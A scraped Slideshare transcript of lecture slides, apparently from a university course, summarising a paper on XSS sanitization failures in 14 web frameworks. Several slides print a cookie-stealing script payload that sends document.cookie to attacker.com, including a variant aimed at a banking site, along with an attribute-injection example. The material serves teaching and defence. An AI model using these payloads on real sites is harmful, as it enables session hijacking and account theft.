• Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
No Downloads

Views

Total Views
292
On Slideshare
0
From Embeds
0
Number of Embeds
1

Actions

Shares
Downloads
0
Comments
0
Likes
1

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. THE BROKEN WEB A Systematic Analysis of XSS Sanitization in Web Application Frameworks
  • 2. Executive summary •  Web page processing analyzed in detail •  Sanitization is quite complex •  Context sensitive •  14 WEB frameworks analyzed •  None handle sanitization properly •  In some cases they give a false sense of security because the algorithm is wrong
  • 3. HTTP background GET www.example.com/ sample.html •  Client sends request to server www.example.com:/ sample.html <h>Sample file</h> <p>This is a sample</p> •  Server locates and sends back file Sample file This is a sample •  Client displays file Basic HTTP operation
  • 4. HTTP background GET www.example.com/ sample.php •  Client sends request Sample.php: <?php echo ‘<h>Sample file</h>’; echo ‘<p>This is a sample</p>’; ?> •  Server executes script <h>Sample file</h> <p>This is a sample</p> •  Server returns generated file Sample file This is a sample •  Client displays file Server side scripting
  • 5. HTTP background POST www.example.com/ sample.php? name=Mr. Dummy&soc=234- 23-5555&credit=12 34-1234-1234-123 4 •  Client sends data to server Sample.php: <?php # save data somewhere …. echo ‘<p>Now I own you.</p>’ ?> •  Server executes script Please send me your important financial information: Name: Mr. Dummy__ Soc: 234-23-5555 Credit card number: 1234-1234-1234-1234 SUBMIT •  User fills in fields and presses ‘Submit’ Form management Now I own you. •  Server sends response page to client
  • 6. HTTP background Client side scripting <html> <body> <h1>My First Web Page</h1> <script type="text/javascript"> document.write("<p>" + Date() + "</p>"); </script> </body> </html>
  • 7. HTTP background Client side scripting <html> <body> <h1>My First Web Page</h1> <p>Tue Feb 28 2012 14:28:07 GMT-0500 (EST)</p> </body> </html>
  • 8. HTTP background Client side scripting My First Web Page Tue Feb 28 2012 14:28:07 GMT-0500 (EST)
  • 9. XSS attack Server side code prints text entered by a user from an earlier session. Consider this code: <?php echo ‘<p>Note from ‘.$user.’</p>’ echo ‘<p>’.$note.’</p>’ ?> Suppose $note contains <script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script> The sky is falling.
  • 10. XSS attack The result is that the following is sent to your browser: <p>Note from Mr. Apocalypse</p> <p> <script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script>The sky is falling. </p>
  • 11. XSS attack Your browser displays the following: Note from Mr. Apocalypse [img] The sky is falling. And the attacker has gotten your cookie.
  • 12. XSS attack The attacker simply needed to enter this script on the screen used to post the note. Logged in as: Mr. Apocalypse Text of message to post: <script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script>The sky is falling._______ Any website that echoes back a user input can be used for an XSS attack.
  • 13. XSS attack •  The following can be used to obtain the cookie for your bank account: <script>document.location='http://banking.com/search? name=<script>document.write("<img src=http:// attacker.com/" + document.cookie + ">")</script>'</script>
  • 14. Sanitization One solution is to escape out sensitive characters <script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script> becomes &lt;script&gt;document.write(“&lt;img src=http:// attacker.com/" + document.cookie + “&gt;”)&lt;/script&gt; Problem: sanitization needs to be done in a context sensitive manner and the rules are very complex
  • 15. Web page parsing
  • 16. Challenge 1: context sensitivity Consider this code: echo ‘<p>’.$note.’</p>’ Here one can replace ‘<‘ with &lt; and ‘> with &gt; to block attacks. However consider: echo ‘<img src=‘.$url.’>’ Consider the following url: picture.jpg’ onLoad=‘document.location=…”
  • 17. Challenge 2: Sanitizing nested contexts Consider this piece of php code: echo ‘<script> var x = ‘.$UNTRUSTED_DATA.’...</script>’ One needs to block both the possibility of a </script> and that of a ‘ to prevent attacks
  • 18. Challenge 3: Browser transductions Consider: <div class=‘comment-box’onclick=‘displayComment(" UNTRUSTED",this)’> ... hidden comment ... </div> Even if all the “ characters are replaced with &quot, HTML 5 removes the encoding before passing the text to Javascript.
  • 19. Challenge 4: Dynamic code Consider this program: function foo(untrusted) { document.write("<input onclick=’foo(" + untrusted + ")’ >"); } Evaluation generates html code that will repeat the call to the function.
  • 20. Challenge 5: Character set issues +ADw- maps to < in UTF-7 The sanitizer needs to recognize the character set conversion
  • 21. Challenge 6: everything else •  MIME based XSS •  Browser bugs •  Capability leaks •  Parsing inconsistencies •  Browser extensions •  Adobe flash is fairly buggy
  • 22. Evaluation of web frameworks and applications •  Subjects •  14 popular web application frameworks •  8 popular php applications •  Evaluation •  Auto-sanitization and/or sanitization libraries •  Dynamic sanitization handling
  • 23. Auto sanitization •  7 of 14 support auto sanitization •  4 of 7 of these perform context insensitive sanitization which is inherently unsafe •  14.8%-33.6% of output sinks fail to be protected by auto sanitization in 10 popular Django application
  • 24. Context sensitive sanitization •  Performed by 3 of 7 frameworks •  GWT, Google Clearsilver, and Google Ctemplate •  Involved a runtime parser that checked the context and applied the appropriate sanitization function •  User needs to mark untrusted variables •  No detailed analysis of reliability •  I assume they worked reasonably well
  • 25. Manual sanitization •  Prone to error •  Variables missed •  Wrong sanitization function used
  • 26. Dynamic code evaluation •  Perform appropriate runtime checks before printing untrusted strings •  Generally not supported by frameworks •  Four frameworks provided static sanitization of untrusted strings within the context of Javascript constants
  • 27. DOM based errors •  Javascript can actually reference the content of a web page <h1>This page changes itself</h1> <a name=“xxx”>Original content</a> <script> document.anchors[0].innerHTML=“New content”; </script>
  • 28. DOM based errors •  Javascript can actually reference the content of a web page <h1>This page changes itself</h1> <a name=“xxx”>New content</a> <script> document.anchors[0].innerHTML=“New content”; </script>
  • 29. DOM based errors •  Consider this code: text = element.getAttribute(’title’); // ... elided ... desc = create_element(’span’, ’bottom’); desc.innerHTML = text; tooltip.appendChild(desc); This code read an element from the HTML, destroy escaping and reinsert it elsewhere To avoid bug: use of innerText to write or innerHTML to read
  • 30. DOM based errors •  Ignored by frameworks •  Cause many XSS vulnerabilities
  • 31. Expressiveness of contexts in web applications •  8 php applications analyzed •  19-532KLOC •  All applications emit untrusted data into all contexts •  Applications sometimes employ different sanitizers for the same context •  General conclusion: frameworks do not provide sufficient sanitization support
  • 32. Manual sanitization expressiveness •  9 of 14 frameworks do not support contexts other than the generic HTML •  4 provided sanitizers for Javascript string context •  1 framework provided a sanitizer for Javascript number and boolean contexts •  None allow for sanitization of Javascript code •  Only one framework allowed customization of the sanitizer within a context—the others had a pre-packaged sanitizer for all contexts
  • 33. Correctness of sanitizers •  Sanitizers prone to error •  In frameworks they usually work on a “whitelist” model in which only structures following specific patterns are allowed •  One framework uses a “blacklist” model in which specific strings are forbidden •  Frameworks rely on canonical form into which all output is formatted to simplify sanitizers •  The authors conclude that the “whitelist” approach should be researched. The “blacklist” approach is too error prone.
  • 34. Related work •  XSS analysis and defense •  Server side code errors •  Javascript code errors •  Research identifies vulnerabilities •  Untrusted data showing up in output •  Improper sanitization •  Server side solutions •  BLUEPRINT, SCRIPTGARD, XSS-GUARD •  Formalize web model to design sanitizers •  Client side •  XSS-Auditor •  Analyze browser reference patterns to try and identify attacks •  Does not separate trusted and untrusted data •  Studies in sanitizer correctness •  Manual process of adding sanitization is error prone •  None provide a good underlying model for sanitizers •  Taint tracking and security typed languages
  • 35. Paper’s conclusions •  Current frameworks do not properly manage sanitization •  The paper suggests a future direction of producing a formal model of the browser’s behavior
  • 36. Some later work •  Saxena developed php analysis tools •  Model checker – symbolic execution of php to try and find dangerous code •  Static analysis—tries to identify and incorporate sanitizers based on the context of a print •  Probably the better approach •  Needs to be integrated with some sort of dynamic analysis
  • 37. Discussion questions •  What is the best approach for solving XSS? •  In addition to technical issues, what practical issues need to be addressed to get a solution deployed? For example, asking everyone to rewrite their php code is going to be difficult. •  Should the government get involved in regulating web sites to make sure basic protection standards are upheld?
  • 38. XSS attack game •  2 teams •  Source code available from www.cs.jhu.edu/~roe •  Look for $_GET and $_POST variables for user input •  Use MAMP to run